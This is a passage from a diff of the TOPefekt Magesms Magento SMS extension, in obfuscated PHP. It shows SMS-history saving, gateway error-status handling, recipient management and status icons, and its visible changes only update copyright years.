$i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($ibcdf76f8c9ddc330c79f805116a8bb146c43749da02cdfb7b020563fe8d0d988c1018ce28dc30310['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->save(); } } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d = 0; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd18c7e5bc71d5242a8b8cc24d43559e5dccbddb5 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a = Mage::getModel('magesms/api')->parser($ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89, '__'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b = Mage::getModel('magesms/smshistory'); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNumber('+'.$if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['number'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setDate(date('Y-m-d H:i:s')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal(Mage::helper('magesms')->countSms($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['data'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039], $this->getUnicode())); } else { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setText($ibcdf76f8c9ddc330c79f805116a8bb146c43749dcd14fe4ea296b55b8ecbf19d2fd7bfef3a511519); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setTotal($if295547318143e26fc7026b92d58e3d1eec229db); } $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::ERROR); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][1])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setPrice($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][1]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][2])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCredit($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][2]); if (isset($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][0])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSmsid($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['data'][0]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSender($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['senderID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setAdminId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['admin_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customer_id'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setUnicode($this->getUnicode()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setType($this->getType()); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setSubject($this->getSubject()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 1 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 11) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SENT); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 111) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::SCHEDULED); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('SMS will be send later - ').Mage::helper('core')->formatDate(date('Y-m-d H:i:s', $this->getSendlater()), 'medium', true)); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 9) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('wrong number or unavailable')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 15) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('unauthorized senderID in confirmation sms')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 10) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('low credit for sending sms')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 16) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('DO NOT DISTURB registry (DND)')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DND); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 22) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('unicode is not supported')); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3 && $ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['datasrc'] == 23) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('message duplicity')); $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setStatus(self::DUPLICATE); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 3) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['error'])); } elseif ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d17c20960d197486b19dc890665362a4f2fd6f24a['errno'] == 4) { $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setNote(Mage::helper('magesms')->__('')); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customerID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setCustomerId($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['customerID'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); if (isset($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) $i5ee2fa256ff77dd811a9c1911f7563263a694e4b->setRecipient($if85a12d6e5fb576dbfd0203ae61d13b94a9fadd2['recipient'][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]); } else { continue; } if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d && !($ibcdf76f8c9ddc330c79f805116a8bb146c43749d % 10)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i5ee2fa256ff77dd811a9c1911f7563263a694e4b); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d++; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = false; if ($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getStatus() == self::SENT) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('SMS was sent.')); elseif ($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getStatus() == self::SCHEDULED) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addSuccess(Mage::helper('magesms')->__('SMS was saved.')); else { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addError($i5ee2fa256ff77dd811a9c1911f7563263a694e4b->getNote()); $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b = true; } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0e3e80cee9c51f140b823db0b7df66493acca657->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); } } public function setRecipient($ia61712c27ea241bd7a543dc2b02ea572274d0322) { if (is_string($ia61712c27ea241bd7a543dc2b02ea572274d0322)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber(urlencode($ia61712c27ea241bd7a543dc2b02ea572274d0322)); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); } elseif (is_array($ia61712c27ea241bd7a543dc2b02ea572274d0322)) { foreach ($ia61712c27ea241bd7a543dc2b02ea572274d0322 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (!trim($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d)) continue; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber(urlencode(trim($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d))); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); } } return $this; } public function addRecipient($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f, $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setNumber(urlencode($ibcdf76f8c9ddc330c79f805116a8bb146c43749d39404799a9171a012cb8b15cd8f27b347aa44a5f)); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['country'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setCountry($ia61712c27ea241bd7a543dc2b02ea572274d0322['country']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['customerId'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setCustomerId($ia61712c27ea241bd7a543dc2b02ea572274d0322['customerId']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['adminId'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setAdminId($ia61712c27ea241bd7a543dc2b02ea572274d0322['adminId']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['recipient'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setRecipient($ia61712c27ea241bd7a543dc2b02ea572274d0322['recipient']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['text'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setText($ia61712c27ea241bd7a543dc2b02ea572274d0322['text']); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322['dnd'])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setDnd($ia61712c27ea241bd7a543dc2b02ea572274d0322['dnd']); $this->getRecipient()->addItem($ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6); return $this; } public function isError() { return $this->v3a95f9a85ae3fecc89b69aa9ea2d057ac2807b0b ? true : false; } public function status($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257 = false) { $i2e68560d8e15e3c18bb400939778a6bf1ae47190 = array(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SENT); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_sent.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SENT to recipient')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::ERROR); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_canceled.gif'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('ERROR')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DELIVERED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_accepted.gif'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DELIVERED to recipient')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::UNAVAILABLE); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_buffered.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('RECIPIENT UNAVAILABLE')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SIMULATION); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_simulation.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SIMULATION')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::SCHEDULED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_scheduled.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('SCHEDULED')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DELETED); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_deleted.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DELETED')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DND); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_donotdisturb.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DO NOT DISTURB registry (DND)')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6 = new Varien_Object(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setStatus(self::DUPLICATE); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setIcon('i_duplicate.png'); $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->setName(Mage::helper('magesms')->__('DUPLICATE')); $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6->status] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df66cdb02406b60b7d525f1fed0b5904ce5586ee6; if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257 === false) return $i2e68560d8e15e3c18bb400939778a6bf1ae47190; elseif (isset($i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257])) return $i2e68560d8e15e3c18bb400939778a6bf1ae47190[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d7e9551ab4470830f87be4f9ff5edc75013bc9257]; return false; } }
app/code/community/Topefekt/Magesms/Model/Smshistory.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Smshistory extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/smshistory'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Smshistory extends Mage_Core_Model_Abstract { protected function _construct() { $this->_init('magesms/smshistory'); } }
app/code/community/Topefekt/Magesms/Model/Smsprofile.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Smsprofile extends Mage_Core_Model_Abstract { public $user; public $admins; public $credit; public $lang; public $currency = 'EUR'; public $_error; public function _construct() { parent::_construct(); $this->user = $this->loadUser(); $this->country = Mage::getModel('magesms/country')->getCollection(); $this->lang = Mage::helper('magesms')->detectLang(); if ($this->user->user) { $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost('action=info&username='.urlencode($this->user->user).'&password='.urlencode($this->user->passwd)); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 1 || empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $this->user = Mage::getModel('magesms/smsuser'); $this->_error = $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error']; } else { $this->credit = $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]; $this->admins = Mage::getModel('magesms/admins'); } foreach($this->country as $i037b855bc01175f2c77d5c3e19eda9a0003feff4) { if ($this->user->getCountry0() == $i037b855bc01175f2c77d5c3e19eda9a0003feff4->getName()) { $this->currency = $i037b855bc01175f2c77d5c3e19eda9a0003feff4->getCurrency(); break; } } } } public function loadUser() { $i77d22463fc16d92f418e384077adc971e57f8cd8 = Mage::getModel('magesms/smsuser')->getCollection()->setOrder('ID', 'DESC'); $i77d22463fc16d92f418e384077adc971e57f8cd8->getSelect()->limit(1); foreach ($i77d22463fc16d92f418e384077adc971e57f8cd8 as $if63180c174f143cf7a7c15db835b3c86c46375ad) { return $if63180c174f143cf7a7c15db835b3c86c46375ad; } return Mage::getModel('magesms/smsuser'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Model_Smsprofile extends Mage_Core_Model_Abstract { public $user; public $admins; public $credit; public $lang; public $currency = 'EUR'; public $_error; public function _construct() { parent::_construct(); $this->user = $this->loadUser(); $this->country = Mage::getModel('magesms/country')->getCollection(); $this->lang = Mage::helper('magesms')->detectLang(); if ($this->user->user) { $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getModel('magesms/api')->serverPost('action=info&username='.urlencode($this->user->user).'&password='.urlencode($this->user->passwd)); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 1 || empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $this->user = Mage::getModel('magesms/smsuser'); $this->_error = $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error']; } else { $this->credit = $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]; $this->admins = Mage::getModel('magesms/admins'); } foreach($this->country as $i037b855bc01175f2c77d5c3e19eda9a0003feff4) { if ($this->user->getCountry0() == $i037b855bc01175f2c77d5c3e19eda9a0003feff4->getName()) { $this->currency = $i037b855bc01175f2c77d5c3e19eda9a0003feff4->getCurrency(); break; } } } } public function loadUser() { $i77d22463fc16d92f418e384077adc971e57f8cd8 = Mage::getModel('magesms/smsuser')->getCollection()->setOrder('ID', 'DESC'); $i77d22463fc16d92f418e384077adc971e57f8cd8->getSelect()->limit(1); foreach ($i77d22463fc16d92f418e384077adc971e57f8cd8 as 